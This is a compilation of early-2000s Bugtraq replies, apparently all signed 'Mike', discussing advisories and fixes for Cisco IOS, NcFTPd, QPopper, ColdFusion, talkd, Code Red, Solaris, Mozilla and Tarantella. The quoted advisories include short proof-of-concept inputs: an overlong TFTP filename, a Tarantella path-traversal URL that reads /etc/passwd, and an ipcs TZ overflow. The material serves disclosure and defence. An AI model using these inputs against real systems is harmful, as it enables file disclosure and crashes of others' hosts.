iQA/AwUBPULi05PS/wbyNnWcEQLtegCgi+7+96I5Ur1z0JHSU0OHauUnpsEAn0jC SoK69ovAbXtWqAyzeoQcf45d =GWjh -END PGP SIGNATURE- > kim0 <[EMAIL PROTECTED]> [2002-07-27 12:52] wrote: > > -- >kim0 <[EMAIL PROTECTED]> >Phenoelit (http://www.phenoelit.de) > 90C0 969C EC71 01DC 36A0 FBEF 2D72 33C0 77FC CD42 > Phenoelit Advisory > > [ Authors ] > FX <[EMAIL PROTECTED]> > FtR <[EMAIL PROTECTED]> > kim0<[EMAIL PROTECTED]> > > Phenoelit Group (http://www.phenoelit.de) > Advisoryhttp://www.phenoelit.de/stuff/Cisco_tftp.txt > > [ Affected Products ] > Cisco IOS > > Tested on > IOS 11.1 - 11.3 > > Cisco Bug ID: > CERT Vulnerability ID: 689579 > > [ Vendor communication ] > 06/29/02Initial Notification, > [EMAIL PROTECTED] & [EMAIL PROTECTED] > *Note-Initial notification by phenoelit > includes a cc to [EMAIL PROTECTED] by default > 06/30/02Human confirmation from PSIRT @ Cisco > 06/30/02 (2)Discussion of detail > 07/01/02Continued discussion for reproducing problem > 07/01/02Receipt, ack. and clarification by [EMAIL PROTECTED] > 07/03/02Continued discussions with PSIRT > 07/19/02Notification of intent to post publically > in apx. 7 days. > 07/25/02Final coordination for release. > > [ Overview ] > Cisco Systems Routers are the most widely used routers. > Cisco Routers are embedded network devices that run a dedicated > Operating System, the Cisco IOS. > > [ Description ] > The Cisco IOS integrated TFTP server suffers from a buffer overflow > condition. > When requesting a file name with approximately 700 characters, the device > crashes and may reboot. This only happens, if the served file is on a > flash device and no alias is assigned to it. > > Vulnerable: > router# conf t > router# tftp-server flash:ios_11.3_a-b-c-d.bin > > Not vulnerable: > router# conf t > router# tftp-server flash:ios_11.3_a-b-c-d.bin alias TheStuff > > [ Example ] > OpenBSD# tftp cisco53.navy.smil.mil > tftp> get A(700 times) > > [ Solution ] > None available at this time > > [ end of file ] > > > [- End of Included Message -]
Re: ISS Apache Advisory Response
On Thu, Jun 20, 2002 at 06:06:03PM -0400, Klaus, Chris (ISSAtlanta) wrote: > There has been a lot of misinformation spread about our ISS Apache Advisory > and wanted to clean up any confusion and misunderstanding. > > 1) Our policy for publishing advisories is to give a vendor 30 to 45 > day quiet period to provide an opportunity to create a patch or work around. > If an exploit for the vulnerability appears in the wild, or a patch and > work-around is provided by the vendor or ISS X-Force, this quiet period is > disregarded and the ISS X-Force advisory is published immediately. > > In the case of this advisory, ISS X-Force provided an Apache patch and did > not see a need for a long quiet period. this is a poor justification and is showing extreme disrespect to the apache project. if there was a hole in my software package abc, responsibility for closing the hole is up to *me*, not you. i would find it extremely disrespectful and irresponsible if you released an advisory and provided your *own* patch for it, no matter if it closed the hole or not. what if your patch caused more problems than it fixed, which is possible since it's extremely doubtful that you would have more intimate knowledge of the project than the principal developers do. the responsibility is the developers', not yours. -mike /~\ the ascii subvert the dominant paradigm \ / ribbon campaign X against html / \ email!
bugtraq@security.nnov.ru list issue: NcFTPd
>>> (this came from a bugtraq posting by [EMAIL PROTECTED]) >>> >>> On Thu, Jun 20, 2002 at 02:00:51PM +0400, 3APA3A wrote: >>> >>>> >>>> 3. There was also report by DocSoft on >>>> buffer >>>> overflow in some older version of ncftpd on Solaris , but I was >>>> not >>>> able to reproduce it at least on demo version of ncftpd >= 2.5.0 >>>> under >>>> FreeBSD, so it was bounced. Overflow is on FTP DELE command >>>> with >>>> buffer > 256 bytes. Feel free to contact DocSoft if you can >>>> confirm >>>> vulnerability. I can't read Russian, but I am guessing that DocSoft is making a similar incorrect conclusion to what the older versions of the Nessus scanner used to do. Below is a snippet from the page http://hackcastle.hut.ru/p_bugs.htm, which contains some cyrillic characters, so it may not be legible, but: $B'"'Q'T'Q(B $B'S(B NcFTPd Server [author: DocSoft] $B'1'`'c'^'`'d'b'V'd'n(B $B'2'V'Q']'Z'Y'Q'h'Z'q(B DoS-$B'Q'd'Q'\'Z(B $B'_'Q(B FTP I do see "DoS" so I assume that the DocSoft is concluding that sending a very long "DELE ...AAA" is causing NcFTPd to exit because the connection is abruptly closed. Often when a server process abruptly closes the connection it means that the server process has crashed, resulting in (a minimum) of a denial-of-service. However, NcFTPd has code to detect clients looking for buffer overflows, and when it detects a client attempting one, NcFTPd forcefully disconnects the user. Older versions used to simply boot them off with no message, but that was changed so that it sends back an FTP "550" response first, _then_ it disconnects them. Long story short: sending "DELE " followed by a huge number of characters does not cause any version of NcFTPd Server to crash or overflow an internal buffer. Mike Gleason NcFTP Software http://www.NcFTP.com
Re: Catalyst 4000 - Cisco's Response
-BEGIN PGP SIGNED MESSAGE- The MAC address learning rate in a Cisco Catalyst 4000 series switch depends on a variety of factors such as Switch load and traffic patterns. Under certain circumstances, such as a large layer 2 network deployment where a many to many traffic pattern is prevalent, the learning rate may be such that more than one packet is flooded for a given host. Flooding packets onto all LAN segments is standard behavior for devices doing transparent bridging when the destination MAC address entry does not exist within a database on the switch containing switch ports and the MAC addresses sourced behind those ports. The circumstances in which this behavior can be observed include high rates of address aging and learning, Spanning-tree Topology Changes, moderate to high Switch CPU load, Asymmetric routing, and general traffic patterns. In order to minimize the effects of this behavior address aging and learning needs to be minimized. Reducing Spanning-tree Topology Change Notifications, adjusting MAC address aging time and avoiding asymmetric routing conditions will all reduce period address aging and learning to reduce flooding of unicast packets. - -Mike- -BEGIN PGP SIGNATURE- Version: PGP 6.5.2 iQEVAwUBPQ7TSg/VLJ+budTTAQEFwQf/bcgthaSiZUaiIotY5rX1OpNESjLntd3t 5NENyWstoIi3EfFbyaifAjFXlQz7wdRmbPk94UTgx54SVyOh9+gbdinZBMX6PUqI rqkIEb/dGoVwS+rixvQ3tVK1PTDxPhY1gp0eapXUB8cG3F0FJc5qpHfyvKjUoRlg eTYJXYr2XmZeQq2v1b/+J+hiHYus5bJkppeLoMTnhu3tLOarRFithr6Kxxz/yD7I MoB0RGkDMIixh3xi1ex75LMnUJqXxscGy240g+rJEoJ1tPhltc5UK2RSdnCHOEz3 TXEPzoDG9pRQtWZh++i8N4b2yuoDYY2+tcG2gdssUGPpKElfh22CWA== =OMRw -END PGP SIGNATURE- > [On Mon May 20 09:38:25 2002, COULOMBE, TROY wrote] > Issue: > Unicast packets flooded out switch ports they shouldn't be. > > Platform: > Cisco Catalyst 4000 > > OS: > 5.5.5; 6.3.5; 7.1.2; probably all others > > Environment: > Single VLAN, non-default "VLAN 1"; No Spanning Tree; 10/100 48 port > blades. > NO SPAN session is created. > Using a sniffer to capture broadcasts/multicasts, etc only. > > Vendor, Vendor Notified, Date Notified: > Yes, Cisco, 04/10/2002; case C579249, no fix supplied > > Detailed description: > Middle of a TCP conversation, unicast packets sent to a host are > flooded out all ports. > > Using a sniffer [EtherPeek NX for Windows, NAI Sniffer Pro], the > Cat4006 floods TCP packets out > to all ports. Packets captured are unicast-mac and are not destined for the > port the sniffer is on. > No SPAN session is created on the switch; only broadcasts/multicasts and > _initial_ session packets should be > flooded. Sniffer is on a different port than the workstation and servers. > > Given: > It is understood that if the switch doesn't know where a MAC is, it > will flood the packet out all > ports until the MAC is learned, and the CAM table is populated. Initial TCP > packets are also captured by the > sniffer, however, these packets would be indicated by the "SYN" flag, and > are considered normal. > > However, what is happening, is that TCP session packets are being flooded, > although the switch _should_ have learned > the MAC. > > Example: > > 01) workstation --> DNS server > UDP DNS request packet > 02) workstation <-- DNS server > UDP DNS response packet > 03) workstation --> Server > Initial TCP SYN packet > 04) workstation <-- Server > TCP SYN-ACK packet > 05) workstation --> Server > TCP ACK Packet > 06) workstation <-- Server > TCP Packet W > 07) workstation <-- Server > TCP Packet X > 08) workstation <-- Server > TCP Packet Y > 09) workstation <-- Server > TCP Packet Z > > Packet #01 is _not_ seen by the sniffer, and rightly so, assuming the switch > knows the MAC entry for the DNS server. > > Packet #02 is seen by the sniffer, but shouldn't have been. The switch > should have learned the workstation's MAC > entry from packet #01. > Packet #03 is _not_ seen by the sniffer, and rightly so, assuming the switch > knows the MAC entry for the Server. > > Packet #04 is seen by the sniffer, but shouldn't have been; no matter what. > The switch now has had 2 different packets > from the workstation to learn it's MAC. > > Packet #05 is _not_ seen by the sniffer, and rightly so... > > Packet #06 through #09 are seen by the sniffer, but shouldn't have been! > > Packet #10 is assumed to be an "ACK" from the workstation and suddenly the > switch
Re: QPopper 4.0.4 buffer overflow
> Affected versions 4.0.3 and 4.0.4. default install.
> Servers, not processing user`s configuration file
> (~/.qpopper-options) are insensible to this bug.
Our testing has shown that you must use the -u parameter to be susceptible
to this vulnerability.
If you don't use the -u parameter for qpopper this file is not accessed.
You can use the -d parameter to view the debug output to verify this.
Mike
UNIX Systems Administrator at Wake Forest University.
==
J. Mike Rollins [EMAIL PROTECTED]
Wake Forest University http://www.wfu.edu/~rollins
Winston-Salem, NCwork: (336) 758-1938
==
Re: KPMG-2002013: Coldfusion Path Disclosure
Hi, Just tested with CF 4.5 & 5.0 Enterprise on NT4 using Apache. It is not vulnerable. You receive a 403 - Forbidden when you try to access nul/con.cfm/dbm with no path disclosure. Sincerely, Mike Fetherston. > > Problem: > > > > Requests for certain DOS-devices are parsed by the isapi filter that > > handles .cfm and .dbm and result in error messages containing the > > physical path to the web root. > > > > > > Vulnerable: > > === > > - Coldfusion 5.0 on Windows 2000 w. IIS5 > > - Other versions were not tested. > > ColdFusion 4.0 and 4.5 using IIS 3.0 and 4.0 on Windows NT 4.0 also appear > to be vulnerable. > > Work around for IIS 4.0 appears to be identical to for IIS 5.0. I cannot > determine any sort of fix for IIS 3.0. > > The one drawback of the work around is that if you go to any .cfm or .dbm > file that does not exist, you get a standard 404 error from the webserver > rather than the considerably prettier (not that that says much) 404 > message that ColdFusion returns. > > I'd like to thank Peter Grundl (sorry about the umlaut but I can't figure > out how to do it in my email client) and KPMG for finding this out for us. > > Have a great day! (Or night!) > > > Christopher Ess > System Administrator / CDTT (Certified Duct Tape Technician) > > >
Re: Multiple Vendor "talkd" user validation fault.
On 3 Apr 2002, Tekno pHReak wrote:
[...]
> Their exist a flaw within the "talkd" which allows anyone masquerade as
> anyone else either remotely or within the confines of the system. This
> is due to the lack of user validation by the "talkd" for incoming
> "talk" requests. This may be a catalyist for social engineering which
> can lead to the revealing of private or sensitive information from other
> users.
[...]
Ah, talk request spoofing.
This very problem was discussed way back in 1996 on Best Of Security
(BoS). It's good to see people are still talking about the problem and
proving it IS an issue.
I suppose the sad part of it all is that this problem was discussed,
shrugged off, and more or less ignored for so long that it's resurfaced,
complete with a new tool to exploit it. Kudos to Teknophreak for bringing
it to light again, and for the publication of the spoofer, since that may
hammer the issue home.
A copy of the informative 1996 posting by Rombout de Backer ([EMAIL PROTECTED]) is
at: http://www.tao.ca/writing/archives/security/0214.html
A cleaner copy, from a repost to the OpenBSD lists, is at:
http://www.monkey.org/openbsd/archive/tech/9604/msg00010.html
de Backer also posted a one-liner proof-of-concept change to the talk from
NetKit-B-0.05, and there were modified ytalk clients floating around with
command-line options for spoofing by the end of April, 1996. Any
suggested fixes to talk will only work locally, where the daemon can do
some checking; any remote fixes really depend on changing the protocol or
migrating to a safer (or explicitly untrusted) chat system. AUTH lookups
(as suggested in the de Backer post) don't really cut it: n/talk are UDP
protocols.
-M
--
Michael Brian Scher[EMAIL PROTECTED]
Mailaise: n, ('mail-aze). See Outlook.
'Code Red' does not seem to be scanning for IIS
>From what i read about the 'Code Red'-worm, it was supposed to be scanning for IIS-servers. It obviously is'nt, i believe it tries to infect everything they find on port 80, or something as simple as that. About three to four days ago, i started to get those default.ida-GET's in my Apache-logs. I shut down the server as fast as i could, and checked for outgoing connections from my computer, and then did some research. I was told that it was an IIS-worm, and that it could'nt affect Apache-servers, so i was safe. I turned the server back on, and from that day i have received forty-one attempts. How can this be? Why am i getting so few attempts, if it is as eEye says -- that every worm-instance has the same seed? I should be getting tons and tons of tries, if the worm has been around for this long. Or is it that my IP is high up in the "sequence", and not many comes that far? If that is the case, the number should be increasing fast in the near future, right? I'll come back with a report in a week or so. ____ m'name be mike brockman! jeeh! _ooh,_und_dunt_feed_my_eskimoes_
Re: Two birds with one worm.
> It looks like the "Code Red" worm has the added side effect of crashing > Cisco (675/678) DSL CPEs running any CBOS prior to 2.4.1. The GET it sends > looking for IIS servers hardlocks any modem with the web management > interface enabled. FYI I believe we're seeing secondary effects on other higher-end Cisco's (i.e. 7500's) ----- Original Message - From: "Mike Lewinski" <[EMAIL PROTECTED]> To: <[EMAIL PROTECTED]> Sent: Thursday, July 19, 2001 1:00 PM Subject: Code Red -> Router Memory depletion? > We've seen two routers experiencing problems this AM that appear to be > related to client swervers infected with the IIS Code Red virus. I say > appear because of the timing with cpu profiles on downstream routers > where infections broke out, but I don't have any direct evidence. > > The first one was a border router: > > Jul 19 08:00:47 5093: 2w5d: %SYS-2-MALLOCFAIL: Memory allocation of > 65540 bytes failed from 0x603BF35C, pool Processor, alignment 0 > Jul 19 08:00:47 5094: -Process= "BGP Router", ipl= 0, pid= 86 > > # sh ver > uptime is 4 hours, 46 minutes > System returned to ROM by bus error at PC 0x603BFCFC, address 0xFFF0 > at 05:57:21 UTC Thu Jul 19 2001 > > The other one is a client aggregation router > > Jul 19 12:02:49 192: %SYS-2-MALLOCFAIL: Memory allocation of 1964 bytes > failed from 0x314DA4A, pool Processor, alignment 0 > Jul 19 12:02:49 193: -Process= "OSPF Router", ipl= 0, pid= 32 > > (This router is still functioning, but not allowing any incoming > connections on telnet). > > -Mike > >
Re: Solaris whodo Vulnerability
On Thu, Jul 05, 2001 at 10:55:55AM -0400, Pablo Sor wrote: > > Clear the suid bit of > > /usr/sbin/sparcv7/whodo (SunOS 5.8 Sparc) > /usr/sbin/i86/whodo (SunOS 5.8, 5.7 Intel) > /usr/sbin/whodo (SunOS 5.5.1) > A likely addition to this list is /usr/sbin/sparcv9/whodo. This is the 64-bit version which is not installed by default on 32-bit systems. Mike
Re: Mozilla is excessively generous.
> 208.191.35.126 - - [27/Jun/2001:21:07:21 -0400] "GET /~qg/billy.html HTTP/1.1" 200 >333 >"mailbox:///home/dustin/.mozilla/dustin/uo1voac3.slt/Mail/Mail/mail.ink-1.org/Inbox?number=29822904" > "Mozilla/5.0 (X11; U; Linux 2.2.16-22 i686; en-US; rv:0.9.1) Gecko/20010608" > > Would anyone working on the Mozilla project care to add dustin's password > to this line in my web logs? Maybe his mother's maiden name? If you'd bothered to report this to mozilla.org, via bugzilla, rather than just going straight to bugtraq[*], you would probably have found bug 83038, which was fixed for mozilla 0.9.2. (0.9.2 froze tonight for final QA before release.) People using Mozilla < 1.0 should probably be aware that there are bugs remaining, and some of those bugs may affect the security of the application. I don't think there are any serious ones left outstanding, but I may not just "serious" like you do, and there may yet be some undiscovered/unreported. [*] Not that I have a problem with people mailing bugtraq to let people know what they should watch for, but if someone else _hadn't_ reported this to bugzilla, we might not have fixed it in time for 0.9.2. I assume that's what you want, and that you weren't just posting to be clever at our expense. Mike (not on bugtraq, please cc: on replies)
Re: SurfControl Internet Monitoring/Blocking
I received similar treatment from them about a year and a half ago regarding an issue that completely bypassed any filtering that *should have been* taking place, just like yours. I could get no update from them on the status of the patch. The patch was released the next day after posting the issue to this list. There was barely any mention of the huge flaw in the filter mechanism within the release notes of the patch, and it was buried within all the other fixes. If I wasn't looking for it, I would have skipped right over it. Given it's severity, I was expecting a rather speedy response and notification as a registered customer that my current version was ineffective without the patch! I had to pester the tech I contacted about the flaw to get any info, and what I received was only that it would be fixed in the next cumulative patch. SurfControl took about a month to release the patch from the time I notified them. No notification (as far as I know) ever went out to the customers. I do believe that a notice went to this list regarding the fix, but that was all. --Mike
Re: SCO Tarantella Remote file read via ttawebtop.cgi
On Monday June 18, KF wrote: > SCO has been notified of this issue. > > > Original Message > Subject: SCO Tarantella Remote file read via ttawebtop.cgi > Date: Mon, 18 Jun 2001 13:06:41 -0400 > From: KF <[EMAIL PROTECTED]> > To: [EMAIL PROTECTED] > > > >http://xxx/tarantella/cgi-bin/ttawebtop.cgi/?action=start&pg=../../../../../../../../../../../../../../../etc/passwd > > root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin: > daemon:x:2:2:daemon:/sbin: adm:x:3:4:adm:/var/adm: > lp:x:4:7:lp:/var/spool/lpd: sync:x:5:0:sync:/sbin:/bin/sync > shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown > halt:x:7:0:halt:/sbin:/sbin/ > ... > > > No perms to shadow... > > >http://xxx/tarantella/cgi-bin/ttawebtop.cgi/?action=start&pg=../../../../../../../../../../../../../../../etc/shadow > > > File missing > > The following file could not be found: > > > /tarantella/../../../../../../../../../../../../../../../etc/shadow > > Please give this information to a Tarantella Administrator. > > -KF This problem was introduced in release 3.01 and was caught during a security audit and was fixed for our last release (Tarantella 3.10). It is a problem for releases 3.00 and 3.01 only. To fix this problem upgrade to 3.10. Thank you for reporting this problem. - Mike McEwen
Re: Solaris ipcs vulnerability
Failed to reproduce this problem on Solaris 2.6 and 8 for SPARC. Ipcs behaved normally, except for printing out the long string of "A"'s in the output header where the timezone would appear. > Solaris ipcs vulnerability > > Release Date: > April 11, 2001 > > Systems Affected: > Solaris 7 (x86) > Other versions of Solaris are most likely affected also. > > Discovered by: > Riley Hassell [EMAIL PROTECTED] > > bash-2.03$ TZ=`perl -e 'print "A"x1035'` > bash-2.03$ /usr/bin/i86/ipcs > IPC status from as of Wed Apr 11 17:18:59 [buffer] 2001 > Message Queue facility inactive. > T ID KEY MODE OWNER GROUP > Shared Memory: > m 0 0x54d3 --rw-r--r-- root root > Semaphore facility inactive. > Segmentation Fault (core dumped)
Re: [COVERT-2001-02] Globbing Vulnerabilities in Multiple FTP Daemons
NcFTPd Server for UNIX from NcFTP Software is not vulnerable to the pathname globbing buffer overflow described by NAI COVERT Labs advisory (COVERT-2001-02) (which is also documented in CERT Advisory CA-2001-07). Additionally, NcFTPd Server is not vulnerable to the globbing denial-of-service bug mentioned recently (March 16) on BUGTRAQ. Mike Gleason NcFTP Software http://www.NcFTP.com (I apologize in advance if this message does not display correctly - I disabled HTML mail format in Microsoft Outlook so hopefully there will be no problems.) smime.p7s
